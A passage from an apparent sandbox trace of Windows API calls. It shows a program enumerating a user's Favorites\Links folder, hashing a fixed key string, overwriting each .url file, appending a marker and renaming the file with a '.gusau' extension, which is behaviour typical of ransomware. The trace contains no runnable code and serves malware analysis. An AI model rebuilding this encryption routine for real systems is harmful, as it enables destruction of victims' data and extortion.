dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.169] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.169] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.170] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.170] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.170] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0118.170] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.170] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.170] PathFindFileNameW (pszPath="") returned="" [0118.170] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.170] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.170] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.170] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0118.170] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.170] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0118.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.170] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0118.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.170] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0118.170] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.170] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.170] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0118.170] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.171] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=236) returned 1 [0118.172] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.174] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.174] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.175] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.175] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xec, lpOverlapped=0x0) returned 1 [0118.175] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.175] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.175] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.175] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.176] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.176] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.176] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.176] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.176] GetLastError () returned 0x0 [0118.176] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.176] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf0) returned 0xdcc590 [0118.176] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.176] WriteFile (in: hFile=0x610, lpBuffer=0xdcc590*, nNumberOfBytesToWrite=0xe7, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0xdcc590*, lpNumberOfBytesWritten=0x405fb24*=0xe7, lpOverlapped=0x0) returned 1 [0118.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0118.177] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.177] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.177] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.177] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.177] CloseHandle (hObject=0x610) returned 1 [0118.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x390b9c0 [0118.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0118.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390b9c0 | out: hHeap=0xd10000) returned 1 [0118.178] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.gusau")) returned 1 [0118.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.179] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0118.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.180] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0118.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.180] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=226) returned 1 [0118.180] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.182] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.182] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.183] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.183] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xe2, lpOverlapped=0x0) returned 1 [0118.183] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.183] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.183] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.184] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.184] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.184] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.184] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.184] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.184] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.184] GetLastError () returned 0x0 [0118.185] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.185] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xe0) returned 0x39f5f38 [0118.185] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.185] WriteFile (in: hFile=0x610, lpBuffer=0x39f5f38*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f5f38*, lpNumberOfBytesWritten=0x405fb24*=0xdd, lpOverlapped=0x0) returned 1 [0118.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f38 | out: hHeap=0xd10000) returned 1 [0118.185] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.185] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.185] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.185] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.185] CloseHandle (hObject=0x610) returned 1 [0118.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x390b9c0 [0118.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0118.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390b9c0 | out: hHeap=0xd10000) returned 1 [0118.186] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.gusau")) returned 1 [0118.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.187] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.187] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0118.188] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.188] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0118.188] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: 